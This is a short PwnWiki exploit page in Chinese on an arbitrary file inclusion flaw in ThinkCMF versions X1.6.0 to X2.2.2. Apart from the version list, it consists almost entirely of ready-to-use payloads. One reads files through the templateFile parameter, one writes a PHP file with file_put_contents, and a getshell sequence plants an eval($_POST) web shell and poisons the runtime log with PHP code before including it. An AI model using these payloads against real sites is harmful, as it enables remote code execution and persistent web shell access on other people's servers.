ThinkCMF框架 任意文件包含漏洞

From PwnWiki
Revision as of 12:21, 7 May 2021 by Pwnwiki (talk | contribs) (Created page with "==影響版本== <pre> ThinkCMF X1.6.0 ThinkCMF X2.1.0 ThinkCMF X2.2.0 ThinkCMF X2.2.1 ThinkCMF X2.2.2 </pre> ==Payload== <pre> ?a=display&templateFile=README.md </pre> ==P...")
(diff) ← Older revision | Latest revision (diff) | Newer revision → (diff)

影響版本

ThinkCMF X1.6.0
ThinkCMF X2.1.0
ThinkCMF X2.2.0
ThinkCMF X2.2.1
ThinkCMF X2.2.2


Payload

?a=display&templateFile=README.md

Payload (文件寫入)

?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('1.php','<?php phpinfo(); ?>')</php>

Getshell

?a=display&templateFile=<?php file_put_contents('shell.php','<?php+eval($_POST["6666"]);?>');die();?>

http://target.domain/?a=display&templateFile=data/runtime/Logs/Portal/YY_MM_DD.log


http://target.domain/?a=display&templateFile=<?php eval($_POST["6666"]);?>


http://target.domain/?a=display&templateFile=data/runtime/Logs/Portal/YY_MM_DD.log